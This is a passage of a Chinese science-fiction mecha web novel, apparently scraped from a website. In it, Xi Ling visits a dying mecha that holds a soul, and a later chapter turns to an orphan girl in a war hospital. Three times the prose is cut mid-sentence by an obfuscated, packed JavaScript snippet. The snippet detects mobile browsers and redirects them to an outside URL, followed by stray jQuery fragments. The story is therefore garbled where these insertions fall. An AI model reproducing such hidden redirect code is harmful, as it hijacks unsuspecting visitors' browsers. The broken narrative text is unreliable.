【啊啊啊妹子接住摄像头的样子好帅!】 【这编号绝了,是官方认证的666选手吧!】 【她的蓝眼睛对着镜头呢,救命,好漂亮啊!】 “每支机甲小队都配有跟拍摄像头,排名越高,镜头越多。”欧白白凑过来,头顶两台摄像头嗡嗡作响。 她戳了戳郗灵怀里的摄像头,笑着吐槽:“你看莱茵,他都快被镜头埋了,还一脸淡定。” 莱茵无奈地摇了摇头,抬手拨开凑到眼前的摄像头,看向郗灵,语气温和:“我以为你会回来得更晚一些,没想到这么快。” 郗灵点点头,咬了口肉干,目光下意识扫过他腰间的机甲钮—— 13号。 郗灵目光微微闪动。 片刻后,她压下心头复杂的情绪,又转向渡鸦:“你的机甲呢?” 渡鸦抬眸,语气平淡无波:“‘夜哨’老化严重,已经送去维修部了。” 他的话刚说完,一道冷硬的声音突然插了进来,硬生生打断了小队间的对话。 “他的机甲送来的时候,已经接近报废了。”墨轻衣不知何时已站到郗灵身边,作战服领口的银线绣纹在灯光下泛着冷光。 墨轻衣说话时,完全没顾及旁边的雪理,侧身时,胳膊直接撞了雪理一下。 雪理踉跄着退了半步,手里的笔记散落了两页,笔也滚到了地上。 墨轻衣却像没看见似的,目光直直锁在郗灵脸上:“你归队前,你们小队90%的积分,都是渡鸦靠击杀机兵挣来的。” 郗灵皱了皱眉,先弯腰帮雪理捡起钢笔和笔记,再伸手把她拉回自己身边,抬眼看向墨轻衣: “你要做什么?” “我来求你一件事。”墨轻衣微微仰头,下巴的弧度带着与生俱来的矜贵,可说出的话却透着股生硬的急切。 她盯着郗灵的眼睛,语速飞快,像是在下达一项必须执行的任务:“你能摧毁生产机床,请你告诉我方法,我也要去做。” “你这样很没礼貌。”郗灵的目光扫过被撞到的雪理,语气多了几分疏离,“我们在说话,你不该贸然打断,更不该撞到人。” “我不需要懂这些。”墨轻衣下意识反驳。 话一出口,见郗灵眼底掠过一丝不悦,她的指尖几不可察地攥住了袖口。 但她的语气却依旧强硬:“我从没求过人,不知道该怎么做。但你能做到的事,我也必须做到。” 郗灵的眉头皱得更紧了。 墨轻衣的话像带着刺,没有半分委婉,完全没考虑过郗灵愿不愿意,仿佛只要她开口,别人就该无条件遵从。 ……到底是怎样的环境,才会塑造出这样古怪的性格? 欧白白对着墨轻衣翻了个白眼:“我的大小姐,你这求人的方式,跟下战书似的,谁能愿意告诉你?” 雪理轻轻拉了拉郗灵的袖子,温和地摇摇头:“没事的,郗灵,不至于为这点小事生气。” 郗灵疑惑地看向雪理。 雪理抬手拢了拢头发,那条白色棉绳仍然缠在手指上:“战争开始后,物资一度短缺,是她带着墨家的船队,亲自押送物资过来的。” 顿了顿,雪理轻声道:“她救了很多人,这点小冒犯不算什么。” 渡鸦也淡淡开口:“她向来如此,性格强势,却从不说谎,也从不做阴私之事,虽然瑜不掩瑕,但已经超过许多人。” 郗灵点点头。 她再看向墨轻衣时,发现这位大小姐正一脸理所当然地看着自己。 仿佛她刚才挤开人、打断对话的举动根本不值一提,眼里只有“要到方法”这一个目标。 郗灵松开怀里的摄像头,任由它飞到头顶嗡嗡作响。 弹幕里刷过一片“墨大小姐求人的方式好霸道”“大人,傲娇已经退时代了”“也就雪理脾气好能忍”的评论。 郗灵勾了勾唇角:“我告诉你,你就一定能做到?” “不一定,但我必须试。”墨轻衣回答得毫不犹豫。 见郗灵没应声,她又补充道:“墨家的资源,你要什么都可以,武器、能源、情报,只要你肯说。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630258|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在她眼里,所有事情似乎都能用实力或资源解决。 欧白白朝不远处的凯撒使了个眼色,嘴型无声地说:“快把你的人带走。” 凯撒和队友们对视一眼,耸耸肩,摊了摊手,一副爱莫能助的样子。 莱茵轻轻碰了碰郗灵的胳膊,低声道:“她虽然强势,但向来言出必行,若真答应你什么,她一定会做到。” 郗灵摇摇头。 她看向墨轻衣,语气平淡:“我可以告诉你,但你的理由暂时打动不了我。” 墨轻衣明显愣了一下,那双总是带着锐利的眼睛里,第一次浮现出困惑。 她皱起眉,下意识往前半步,语气依旧强硬,却少了几分笃定:“为什么?我能给你的,比任何人都多。” 她垂在身侧的手指动了动,像是想说什么,却又不知道该怎么说。 郗灵看着她紧绷的侧脸,看着她明明想追问却又拉不下脸的样子,又瞥了眼身旁众人了然又无奈的神色…… 这位金尊玉贵、不懂得换位思考的大小姐,好像在不知不觉中,正试着触碰她从未接触过的东西—— 比如,如何真正地“求”一个人。 又比如,如何顾及别人的感受。 联邦群众本就爱凑热闹,比起之前枯燥的复盘会议,此刻的弹幕数量肉眼可见地翻了好几倍。 郗灵扫了眼摄像头里的弹幕,转头看向渡鸦:“方便吗?我们一起去维修部一趟。” 墨轻衣的眉头瞬间拧了起来。 渡鸦瞥了眼墨轻衣阴沉的脸色,又抬眸扫过不远处凯撒那副看好戏的表情,垂眸看向郗灵,语气里带着点似有若无的调侃:“你想补上欠我的那个解释了?” “算是吧。”郗灵摸了摸腰间的机甲钮。 她转头跟欧白白打了声招呼,欧白白挥挥手比了个“快去快回”的手势,还不忘冲她挤眉弄眼,示意她别惹墨大小姐炸毛。 郗灵笑了笑,和渡鸦并肩向维修部走去。 身后,墨轻衣懊恼又急切的声音追了上来,带着点没被满足的委屈:“为什么?你还没有回答我呢!” 郗灵头疼地揉了揉额角:“……我可没兴趣教育她。” 渡鸦在一旁低笑出声,声音里满是幸灾乐祸:“你也有今天。” 二人说话间,一道身影从走廊另一侧缓缓经过。 那是个穿着黑色长裙的女人,手上戴着同色长手套,裙摆拖地无声,气质缥缈又诡谲,像午夜时分悄然出没的鬼魂。 她脸上罩着一层细格网纱,隐约能看见底下苍白得近乎透明的面庞。 当她与郗灵擦肩而过时,网纱下的眸子骤然一动,脸上掠过一丝极淡的惊疑。 “……那个家伙,似乎是凯兰的新主人?”黑裙女子喃喃自语。 藏在她胸针里的微型光脑“滋滋”响了两声,一道恭敬的电子音轻柔响起:“教母大人?” “罢了,那是他的造化,我懒得管他。”被称作“教母大人”的黑裙女子收回目光,语气淡漠得没有一丝波澜。 她不再留恋,转身继续向母舰外走去,裙摆扫过地面,留下一阵若有似无的冷香。 胸针里的声音带着几分好奇追问:“教母大人,您就不好奇凯兰少爷……” “在我给他那张船票后,他就不再是我的教子了。”黑裙女子冷声打断,随即话音微沉,语气里添了几分难以察觉的怅惘,“可惜啊……这个烂透了的联邦,终究是无法实现芬迪尔的理想了。” 88. 第一台量产型机甲 黑裙女子和母舰格格不入,却似乎掌握着降低存在感的技巧。 直到她消失在走廊尽头,郗灵才后知后觉地回头,试图捕捉那抹神秘的背影。 “你在看什么?”渡鸦问。 郗灵回过头:“没什么。” “如果是刚才路过的人,我劝你别再留意她。”渡鸦眼睛微眯,那女子的本事瞒不过他,“没记错的话,她是第七扇区的黑/帮首领。这种地底世界的人敢登上母舰,只会是来和萧上将商讨政事。” 渡鸦的真名是拉文·诺因尼。 诺因尼家族是皇帝的隐臣,他对自己的真名讳莫如深,却总能比旁人更敏锐地嗅到黑暗的气息。 郗灵点点头,不再追问,只当这是个小插曲。 二人来到维修部,外层的机甲水库中,停放着一台台机甲。 那些破损严重、已无法回收成机甲钮的机甲,宛如十余米高的巨人,浸泡在齐胸高的人造羊水中。 一个维修兵瞥了眼二人胸口的校徽,摘下军帽主动招呼:“哟,小乌鸦,来看你的机甲?” 渡鸦笑着点头,从左心口袋摸出两颗糖果,隔空扔过去:“接着!” 维修兵利落接住,反手扔来一块牌子:“自个儿去吧,就在最里面,我就不带路了。” 机甲“夜哨”放置在维修部最里间。 郗灵和渡鸦并肩穿过幽闭狭长的走廊,两侧是冷色金属墙壁,墙面上镶嵌的小灯是唯一光源。 “这是拘束层,等你读到大三,学了《舰船原理与结构》,就知道它有多重要了。”渡鸦指尖抚过墙壁,“它采用了和拘束装甲相同的特殊合金,能进行空间折叠,必要时可充当大型拘束装置。所以越关键的机甲,越会放在维修部最深处。” 郗灵听出了言外之意——“夜哨”很重要。 母舰再大终究是星际舰船,空间远不如地面宽阔。 此次参战士兵数以百万计,“夜哨”却仍被安置在维修部最深处…… 郗灵的心颤了颤。 走廊终有尽头。 最后一道舱门开启时,郗灵愣在了原地。 她预想中装甲破损、血肉模糊的情况并未出现,恰恰相反,夜哨的机身完整无缺,甚至不见一丝脏污。 但维持机甲活动的,并非外层的拘束装甲,而是内里“龙”的胚胎。 夜哨浸泡在齐胸高的溶液中,数十根导管从四面八方伸来,接入它隐藏的生化接口,汩汩输送着淡琥珀色的人造羊水。 它的装甲光鲜亮丽,内核却已近腐朽。 见到来人,夜哨艰难抬起脑袋,昏暗的眼灯看向门外的二人。 它喑哑地说:“嗡……” 郗灵眉头狠狠皱起。 她还记得初见时的夜哨,灵动鲜活,在海水中游动如灵巧的游鱼。 她进入主脑主机房前,夜哨虽显露衰老,却更像疲惫而非生命力流逝。 可如今,不过短短一个月,它已经老得如同一尊老脆的铁器,发声都带着铁锈剥落的喑哑。 渡鸦望着夜哨,沉默不语。 郗灵走上前,在夜哨的注视下,伸手触碰了浸泡机体的溶液。 那也是人造羊水,浓度却更高。 换句话说,夜哨正浸泡在龙血里。 “它不该苍老得这么快。”郗灵轻声咕哝,“这不正常。” 渡鸦走到她身边,仰头凝望夜哨的面庞,轻声问:“作为机甲,它的确不该如此衰老,但……如果作为人呢?” 郗灵猛地转头看向他。 渡鸦的话太耐人寻味了。 雪理的机甲“塞壬”,就是机甲与人类糅杂的造物,但她一直以为那只是个例。 难道夜哨也和塞壬一样? 渡鸦蹲下身,指尖在水面轻轻划过,“夜哨”眼灯的光芒折射其上,漾起粼粼水光。 “我知道的事情,比你想象中更多。”他声音极轻,在狭小的水库中微弱回荡,“但郗灵,联邦所有公民,都活在主脑精心编织的茧房里,没人能例外。” 黑暗的环境,总能放大心中压抑已久的负面情绪。 渡鸦也不例外。 “我的姓氏是诺因尼,我的祖父克劳德·诺因尼是帝国的最后一只渡鸦,但他的故事太遥远,和那个曾经辉煌极盛、又最终腐朽衰败的帝国一样遥远。”他低头凝视水面,“可我的父亲,却毁在了‘诺因尼’这个古老的姓氏上。” “他奉命刺杀杜尚别元帅,以为这是在延续家族荣耀……呵,我实在想不通。”渡鸦自嘲一笑,“可他就是这么做了,又因蹩脚的刺杀技巧反被元帅所杀。你大概无法想象,年轻的元帅有多凶悍——他能成为十大元帅中唯一活到今天的人,绝不是‘长寿’二字能概括的。” “那一天对我来说就是噩梦。”他深吸一口气,“只在电视里见过的元帅,活生生出现在八岁的我面前。他蹲下来,僵硬地笑了笑,递给我一枚机甲钮,说那是我父亲的遗物,本就该属于我。” 郗灵忍不住叹息。 孩童何其无辜,却要替死者背负未尽的罪恶。 渡鸦便是这样的受害者。 “生前的父亲,在我脑中只是模糊的剪影,直到他死后,他的形象才一点点清晰。”渡鸦轻声说,“可笑吗?我和他面对面时竟无一言可谈,我们可悲的父子情,必须等一方死去才能建立。” “这不是你的错。”郗灵只能这样安慰。 “这当然不是我的错,但我也不知道该怪谁。”渡鸦笑了笑,“年幼的我理不清这团乱麻,只能将一切归罪于‘诺因尼’这个姓氏。可就像黑暗吸引黑暗,一个满是血腥往事的家族,注定会被地狱里的魔鬼引诱。” 说完,渡鸦陷入了长久的沉默。 郗灵没有出声打破,只是轻轻拨弄着水库中淡琥珀色的人造羊水,感受着其中源于龙血的暴烈能量。 她能获得维尔莱德一半的力量,便是以龙血为媒介。 龙因永不停跳的心脏而不死不灭,它们的许多力量,都要依靠暴烈的血液来施展。 ——比如,她以自身鲜血为媒介,反复开启微型虫洞实现跃迁,才在三天内走完星舰航行一个月的路程。 ——又比如,维尔莱德让官员饮下他的鲜血,并借此展开了联邦第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16641862|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次大清洗。 她欠渡鸦一个解释。 她本想用自己的血液,延缓甚至逆转夜哨的衰老。 可如今的夜哨……经受得起龙的力量吗? 郗灵正在垂眸深思,渡鸦却终于打破了沉默。 “这些年,我竭力破解诺因尼家族的诅咒,试图将自己的命运从那条黑暗道路上解脱出来。”他声音带着些许自嘲,“但不久前,在欧白白的帮助下,我撕破了主脑设置的信息茧房,终于窥得一丝当年的真相——夜哨本就是诺因尼家族的赎罪券,我和父亲,本就不必困在那个该死的诅咒里。” 赎罪券…… 诺因尼家族是皇帝的隐臣,持刀行走于黑暗,手上沾染了无数血污。 若说赎罪,便只能是以功抵过。 到底是怎样的功劳,能让诺因尼家族躲过三次大清洗? 难道……这份功劳和夜哨有关? 郗灵抬起头,看向机甲夜哨。 它的装甲光洁无瑕,体内胚胎却已衰老。 此刻,它用略有些黯淡的眼灯低头凝望着渡鸦,竟像一位坐在轮椅上、满脸慈祥的老人。 曾经的夜哨狠厉敏锐如暗色尖刀。 眼前这一幕,仿佛那个锋芒毕露的灵魂已然沉睡,此刻注视着渡鸦的,是另一个柔软而慈悲的灵魂。 “我的祖父,因杀害国父而郁郁终生。”渡鸦终于抬起头,仰视着夜哨黯淡澄白的眼灯,“我的祖母深知诺因尼必须洗清罪孽,便自愿成为白璐元帅的下属,与她一同秘密研发量产型机甲。” 郗灵再次沉默。 白璐元帅如何研发出第一台人造机甲,在联邦的记载中始终是个谜。 这段历史被刻意隐去,或许是太过血腥,或许是太过残忍,又或许二者兼有。 突然,郗灵的心恐惧地跳了跳。 夜哨…… 塞壬…… 人类和龙…… 她屏住呼吸,不敢确认自己的猜想。 渡鸦却对她笑了笑,眼底闪过一丝复杂难明的情绪。 随后,他向夜哨伸出一只手。 “亲爱的祖母,你已经足够努力了,但你还是拯救不了诺因尼家族。”真名为拉文?诺因尼的青年,对着黑色机甲轻声问道,“作为联邦第一台量产型机甲,你的灵魂被囚禁其中,有没有觉得很孤独?” 轰! 郗灵的脑子里一下子炸开了。 她猜对了! 她真的猜对了! 雪天青名不见经传,凭什么能轻易窃取到“将人类炼制成机甲”这样残忍的技术? 答案只有一个: ——联邦第一台机甲的诞生,本就带着这样的残忍。 夜哨,是联邦首台人造机甲。 当年,白璐元帅解剖了国父的伴生机甲“白星”,又历经无数违背人道的残忍实验,才最终将人造机甲研制成功。 可白璐元帅手段再高明,又如何能在极短的时间内,既压制住“白星”暴烈的龙血,又让机甲实现量产? 答案便是——用人类的基因乃至灵魂,去稀释龙的力量。 89. 遗言与预言 维尔莱德原本对拘束装甲极度排斥,可他最终为何选择妥协,甚至将白星献给联邦,让白璐元帅得以成功研发量产型机甲? 白璐元帅的机甲研发之路激进到极致,不惜采用惨无人道的手段,这一切真的只是战争催逼所致吗? 比战争更残忍无情的,究竟是什么? 一个答案在她心中隐隐浮现。 那答案像淬了毒的针,稍一碰触便会扎得人心头发紧。 郗灵深吸一口气,看向渡鸦。 渡鸦半蹲着,脊背却挺得笔直,仿佛骨子里的骄傲不允许他在任何人面前弯腰。 他仰起头,凝望着高大的夜哨。 “嗡……”夜哨发出低低的嗡鸣。 郗灵听不懂夜哨的话。 她是龙,机甲的本源也是龙,可夜哨是人龙混杂的产物,这种不该存在于世的生命,散发的谐波自然十分驳杂。 那么渡鸦呢? 夜哨中囚禁着他祖母的灵魂,身为孙辈的他,又能听懂多少夜哨的呓语? 渡鸦仍然沉默着。 他没有用伤口换取同情的习惯,更不会轻易放下心防,对不相干的人吐露不该说的话。 先前他对郗灵说的那些话,已经是破了例的奇迹,如今他抿着唇一言不发,显然是敞开心扉的限度,已经到了尽头。 渡鸦与夜哨遥遥对视,空气里静得能听见水珠从夜哨装甲上滴落的声音。 郗灵隔着一人的距离,蹲在渡鸦身边。 她指尖的指甲轻轻划过手腕,没有丝毫犹豫,带着几分孤注一掷的决绝。 几滴殷红的鲜血从伤口中溢出,像断线的珠子,滴答落入水中。 龙血是最强的媒介,能拨动宇宙里看不见的“弦”,进而改变世间的一切。 她知道自己现在不够强大,可她还是想试试。 试试能不能探知夜哨的现状。 试试能不能从那团驳杂的谐波里,分辨出那个囚禁在机甲中、孤独的灵魂。 坠入水中的鲜血很快稀释成一团红雾,连一丝火焰都无力燃烧。 郗灵垂下眼,无声苦笑。 为了尽快赶赴星域战场,她把自己的力量燃烧得太狠了。 机械帝皇说她“虚弱得像待宰的猎物”,倒真是一点没夸张。 就在这时,一道微弱的谐波突然在她耳边振动,轻得像羽毛拂过耳廓—— “女孩儿,”一个苍老的女声问道,带着几分不易察觉的颤抖,“你是龙?和维尔莱德一样的龙?” 郗灵下意识抬头。 渡鸦已重新低下头,俯首凝视着粼粼水面。 夜哨澄白的眼灯,此刻闪烁着黯淡的光芒,宛如夜空中快要熄灭的两颗晚星,温柔地映照在身下两个年轻人的脸庞上。 郗灵喉咙里滚过一声轻响。 她用谐波生涩地回应:“我是龙。” “女孩儿,现在是新历多少年了?”夜哨又问,声音里多了几分急切。 郗灵愣了愣。 夜哨……竟然连时间概念都变得模糊了吗? 是灵魂被困得太久,还是机甲的核心已经开始腐朽? 片刻后,郗灵轻声回答:“现在是新历47年,很快就要到48年了。” 夜哨安静了片刻。 “这个联邦,比我想象中更长寿。”夜哨轻笑一声,笑声里却裹着化不开的怅惘,“没有维尔莱德的庇护,这脆弱的联邦迟早会如沙塔般崩塌——因为,当人类失去共同的敌人,便会把矛头对准自己的同类。” 话音刚落,夜哨的谐波再次变得紊乱。 郗灵见状,又挤出几滴鲜血。 她不敢多放,知道自己的力量经不起消耗,可看着夜哨虚弱的模样,又实在没法袖手旁观。 “……多谢你,女孩儿,你有一颗善良的心。”良久,夜哨的谐波终于平复下来。 那人类的灵魂重新掌控了主导,声音也清晰了些:“我没有什么有用的话能告诉你,用你的血换取一个老古董的喋喋不休,可不是一笔划算的交易。” 郗灵的目光落在身旁的渡鸦身上——他依旧盯着水面,耳尖却微微动了动。 她收回目光,对夜哨轻声说:“你是渡鸦的祖母,他不能失去你。” “我不是他的祖母,”夜哨的声音沉了下去,“我是他的心结。” 郗灵沉默了。 她能感觉到,夜哨的话里藏着更深的隐情,可一时半会儿,却抓不住那层隐晦的意思。 “诺因尼家族的人,是天生的死神。”夜哨轻轻叹息,“他们骨子里的破坏欲是天生的,那份锋芒却被皇帝当成了好用的尖刀——帝国覆灭后,这把尖刀便失去了主人,可刀生来就是用来杀人的,于是,他们只能把刀刃挥向自己。” 郗灵心里忽然咯噔一下。 这不对劲,这太不对劲了。 夜哨为什么突然要和她说这些? 没等她细想,夜哨的谐波又开始发颤。 可它还是继续说道:“我可怜的小孙儿,我可怜的小乌鸦……他没从父辈身上吸取教训。他太沉溺于痛苦的往事,本该学着向前走,却把自己困在‘被诅咒的诺因尼’这个身份里,迟迟不肯出来。” 话音未落,夜哨的谐波突然剧烈紊乱起来。 郗灵急忙又挤出几滴血,可那紊乱却像肆虐的洪水,根本无法逆转。 她看着夜哨越来越黯淡的眼灯,心里忽然清明—— 夜哨就要死了。 这些话,是它的遗言。 而她能听到这些,正是因为她是龙,和维尔莱德一样的龙。 维尔莱德是伟大的国父,救过无数人,夜哨大概是把对维尔莱德的期许,也落在了她的身上。 郗灵沉默不语,再次抬起手腕,准备在还未愈合的伤口上再划一下。 夜哨应该活着。 无论是作为一台机甲,还是作为渡鸦的祖母,它都应该活着。 可她的手腕刚抬起来,就被一只冰凉的手攥住了。 是渡鸦。 他不知何时抬起了头,眼底还泛着水光,却死死攥着郗灵的手腕,指节因为用力而泛白。 他盯着郗灵手腕上开始结痂的伤口,嘴唇挣扎着蠕动了一下,声音带着几分沙哑:“够了。” 旋即,他偏过头,沙哑地呢喃:“……这样的解释,已经够了。” 之后,他没再多说一个字,只是迅速撸起袖子,解下绑在手臂上的备用绷带,小心地缠绕在郗灵的手腕上。 就在这时,夜哨发出一阵类似咳嗽的声音。 郗灵和渡鸦同时抬起头。 而后,面色齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645315|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐一凛! 一缕缕灰败的鲜血从夜哨的装甲接缝处流溢而出,像暗色的溪流,在水面上晕开浑浊的痕迹。 那自进入水库便有的、滴滴答答的细小水声,并非郗灵的幻觉。 夜哨一直在流血。 它的生命力……一直在流逝。 龙的鲜血永远是殷红的,除非它的心脏不再鲜活地跳动。 夜哨正在一点点死去。 渡鸦愣愣地看着水面上晕染开的浑浊血液,猛地抬起头。 他的双眸里闪动着水光,死死盯着夜哨,嘴唇翕动着,却发不出声音,像是有什么东西堵在喉咙里。 郗灵看着夜哨越来越虚弱的模样,下意识挣开渡鸦的手,想再放些血试试。 可渡鸦再次攥住了她的手腕。 “你不该……”渡鸦轻声道,“这是诺因尼的罪孽,你……” “当我接受白璐元帅的邀请,参与那项罪恶的实验时,我以为……我是在替诺因尼家族赎罪。”夜哨的声音已经微弱得快听不清,“我以为,我的后代能走出黑暗,步入光明之中……可我错了。” 它的谐波轻轻颤抖着,带着夜莺般凄凉的哀叹:“人的命运,只能由自己决定,我做的一切牺牲,到最后,都成了后人身上沉重的新枷锁。” “祖母……”这一次,渡鸦终于沙哑地挤出了这句话。 “好孩子,别为我难过。”夜哨的眼灯闪了闪,温柔地注视着他,“夜哨存在一天,联邦的旧伤疤就会疼一天——我象征着那段没人愿意追忆的、沉痛的过往。当夜哨消失,所有的往事,就能一笔勾销,比把骨灰埋进土里,还要彻底……” 无数鲜血从夜哨漆黑的装甲表面流下,像死神落下的泪滴,在水面上积成了一片暗色的云。 渡鸦不堪重负地垂下头。 郗灵一眨不眨地盯着夜哨,那身淌满污血的装甲,仿佛死神的华袍。 “拉文啊!”夜哨突然发出一声哀呼,“就算帝国灭了,联邦亡了,魔鬼也会亘古存在于人的心里。到那时,记得履行诺因尼家族最初的职责……为那些将死之人,带去死神的问候,就像把凉爽的夜风,带入潮湿的夏夜。” 嗡! 狭小的机甲水库骤然亮起通明的灯光。 维修兵斜戴着军帽,嘴里含着那颗没化完的糖果,一只手还放在应急照明的开关把手上。 他看着里面的两人,语气里多了几分凝重:“离开这里!夜哨的谐波振频已经超标,再停留下去,你们的精神会受到不可逆的损伤。” 渡鸦死死攥着郗灵的手腕,每一根手指都在颤抖:“学长,求你……让我多留一分钟。” “军令如山。”维修兵垂着眉眼,语气既不忍又强硬,“学弟,学妹,你们仔细听一听走廊上的警笛声。” 郗灵侧耳细听。 放置夜哨的水库在最里间,但即使如此,经过维修兵提醒后,她也听到了一波波高亢尖锐的警笛声。 一长三短,是集结令。 战争,又要开始了。 渡鸦的表情瞬间冷凝。 郗灵深吸一口气:“生产机床不是已经被摧毁了吗?机械军团怎么会来得这么快?” “不,这一战的敌人不是机兵,而是人类。”维修兵说,“就在刚才,第七扇区……宣布独立了。” 90. 豌豆(一) 嚓嚓。 嚓嚓。 嚓嚓。 豌豆坐在肖恩爷爷的病床边,百无聊赖地用指甲抠着手中的小铁片。 小铁片触感冰凉,既坚硬又有韧性。 这枚小铁片,是一个叫“雪理”的姐姐送给她的。 雪理皮肤雪白,眼睛湛蓝,漂亮得像电视上的大明星,而且还会开机甲。 之前,豌豆用白色棉绳翻出了一颗星星送给雪理。 雪理收下星星,立刻就把那根棉绳缠在了手指上,然后回赠了这枚小铁片。 雪理是跟随“第七军团”来到这里的。 一开始,豌豆不敢靠近雪理,也不敢靠近和雪理同行的其他人。 在她的认知里,军队和当地的黑手党一样,是一群拿着枪到处扫射的人。 第七扇区是联邦最混乱的扇区,黑色势力在此地云集,大小规模的火拼时有发生。 因此,豌豆早就习惯了从头顶飞过的子弹,或者身边突然爆炸燃烧的炸药。 但很快豌豆发现,第七军团和其他军队不一样。 第七军团的士兵不喜欢杀人和抢劫,他们会把枪口对准外面的机兵,还会给受伤的人处理伤口。 “我们的敌人是机械军团,不是人类。”雪理对豌豆解释,“不轰炸医院和学校是人类的共识,但铁人不懂这个,所以,我们来保护你们了。” 豌豆点点头,牢牢地跟在雪理身边。 外面炮火连天,但这个医院被一层透明的护盾保护起来,毫发无伤。 短短十几天里,豌豆在医院里认识了很多人。 她认识了一个圆脸蛋的护士,那个护士告诉豌豆:第七扇区正在爆发一场战争。 “护士姐姐,为什么会有战争?”豌豆疑惑地问。 豌豆知道,战争意味着很多人流血,很多人死去,还有很多危险的武器到处飞来飞去。 但那些人为什么要这么做? 豌豆想弄明白这一点。 护士听到这个问题后,立马卡了壳。 正好远处的医生喊人帮忙,于是护士对豌豆抱歉地摇了摇头,又抿紧嘴唇冲去医生那里了。 豌豆远远地站着,看向护士冲去的地方。 医院的手术室根本不够用,很多人都躺在走廊上。 那名被医生护士拼尽全力抢救的伤员,伤口还在不断渗血,滴答答如小溪一般。 伤员大张着嘴,发出惨烈的嘶嚎,短短十几分钟,便在极致的痛苦中死去了。 “没有止血药了。”医生说。 “杜冷丁呢?”另一个医生问。 “也没有了。”护士答。 “吗啡呢?吗啡也没有了吗?” “……” 走廊上横七竖八躺着不少伤员,可这一刻,这里安静得连呼吸声都听不到。 第四天,大量物资被送了过来,是一个叫墨轻衣的姐姐送来的。 院长老泪纵横,对墨轻衣不停地道谢。 他们的对话中出现了三个姓氏,豌豆都记住了。 它们分别是——奥古斯都、墨、黎。 豌豆还认识了一名老师。 豌豆很早就没有了父母,更没有上过学。 那个老师是一个伤员,戴着漂亮的细框眼镜。 老师躺在病床上,看到豌豆溜达到病房里,盯着自己手中的书发呆,便饶有兴趣地考了她几个问题。 豌豆回答得一塌糊涂——她不识字。 老师叹了口气,镜片后的眼睛泛起了水光。 她低头自言自语,说了一大堆豌豆听不懂的话,比如“义务教育”“夜校”“扫盲”之类的,又招手示意豌豆过来,约定每天教豌豆十个字。 豌豆学得很认真。 那个老师离开时,给豌豆留下了一张纸条,说等将来不打仗了,记得打这个电话,她会给豌豆付学费,让她去学校读书。 豌豆把那张纸条贴心口放着,并且把那串号码背了下来。 豌豆还认识了很多人。 他们有的还在医院里,有的已经去世,还有的离开医院不知所踪。 豌豆希望大家都活着。 现在,那些开机甲的哥哥姐姐已经离开,医院外游荡的机兵也被尽数消灭。 保护医院的护盾消失了。 豌豆忧郁地看着窗外,有些担忧自己的安全。 护士说,战争暂时结束了,但什么时候会再次开始,谁也不知道。 医院里的病人已经少了许多,但豌豆不知道该去哪里,所以,她继续留在医院,给还在这里的人做陪护。 她没有父母,没有任何可以依靠的人,但她不想偷不想抢,想用自己的劳动换饭吃。 豌豆现在陪护的人,是一个孤独的老人。 老人无儿无女,身份神秘,但所有人都很尊敬他。 见时间又快到了,豌豆收回看向窗外的视线。 “肖恩爷爷,该翻身了。”她来到床边,对床上躺着的老人伸出细瘦的双臂。 肖恩爷爷断了一条腿,是很早之前断的。 他紧张地看着豌豆的动作,后背有些紧绷,仿佛一只竖起尖刺的刺猬。 但他还是努力配合豌豆的动作,艰难地把身子翻了一面。 护士过来查房:“辛苦你了,豌豆。” 豌豆摇头:“不辛苦。” 护士见老人睁着眼睛神游,对着豌豆轻声叮嘱了一遍。 “保持心情愉悦,让他多看看外面的风景。” “记得开窗通风,但不能让他吹太久的风。” “那种黄色的药丸,给他早晚各吃一次;那种蓝色的药丸,给他每天中午吃一次。” “要把锋利的东西藏起来,还有那些易碎的东西,比如瓷瓶之类的也要收起来。他有不对劲的情况就来告诉我,我们会把他转移到特殊病房。” 护士离开了。 病房里再次变得冷清。 豌豆摸了摸心口,再次背诵了一遍那串电话号码,然后坐回椅子上,一边看着窗外的风景,一边关注老人的情况。 她的指甲剐蹭着那枚小铁片。 嚓嚓。 嚓嚓。 嚓嚓。 “……你叫豌豆?”肖恩爷爷突然沙哑地问。 豌豆回头:“嗯。” “李豌豆?杨豌豆?豌豆·史密斯?” “豌豆就是豌豆。”豌豆重新看向窗外,“我没有姓。” 肖恩没有说话。 病房内又变得安静了。 “你听说过我的名字吗?”过了一会儿,肖恩又问。 豌豆再次收回看向窗外的视线,回答道:“听过,我知道你叫肖恩。” “要说‘您’,不是‘你’。” “好,我记住了。” “我是新十一军团的少将,我叫肖恩。”肖恩的语气有些缥缈,似乎陷入谵妄的病人在发出呓语,“豌豆,你是谁?你为什么叫豌豆?” “我叫豌豆,我喜欢吃豌豆,所以我叫豌豆。”豌豆耐心地回答。 “战争开始了,豌豆。” 